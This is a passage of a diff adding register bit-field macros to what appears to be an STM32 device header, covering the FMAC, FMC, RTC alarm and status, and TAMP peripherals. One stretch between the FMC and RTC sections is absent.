FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9U) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15U) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16U) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0U) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1U) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8U) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9U) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10U) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0U) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0U) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20U) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0U) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4U) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7U) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8U) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12U) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15U) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16U) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20U) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22U) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23U) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24U) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28U) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30U) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31U) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0U) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24U) +#define RTC_ALRMASSR_MASKSS_Msk (0x3FUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x3F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_MASKSS_4 (0x10UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x10000000 */ +#define RTC_ALRMASSR_MASKSS_5 (0x20UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x20000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31U) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0U) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4U) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7U) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8U) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12U) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15U) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16U) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20U) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22U) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23U) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24U) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28U) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30U) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31U) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0U) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24U) +#define RTC_ALRMBSSR_MASKSS_Msk (0x3FUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x3F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_MASKSS_4 (0x10UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBSSR_MASKSS_5 (0x20UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31U) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0U) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1U) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2U) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3U) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4U) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5U) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6U) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0U) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1U) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2U) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3U) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4U) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5U) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6U) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0U) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1U) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2U) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3U) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4U) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5U) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6U) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0U) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1U) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2U) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3U) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4U) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5U) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6U) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_OR register ******************/ +#define RTC_OR_OUT2_RMP_Pos (0U) +#define RTC_OR_OUT2_RMP_Msk (0x1UL << RTC_OR_OUT2_RMP_Pos) /*!< 0x00000001 */ +#define RTC_OR_OUT2_RMP RTC_OR_OUT2_RMP_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0U) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0U) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0U) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1U) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2U) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3U) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4U) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5U) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6U) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7U) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16U) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17U) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00020000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18U) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define 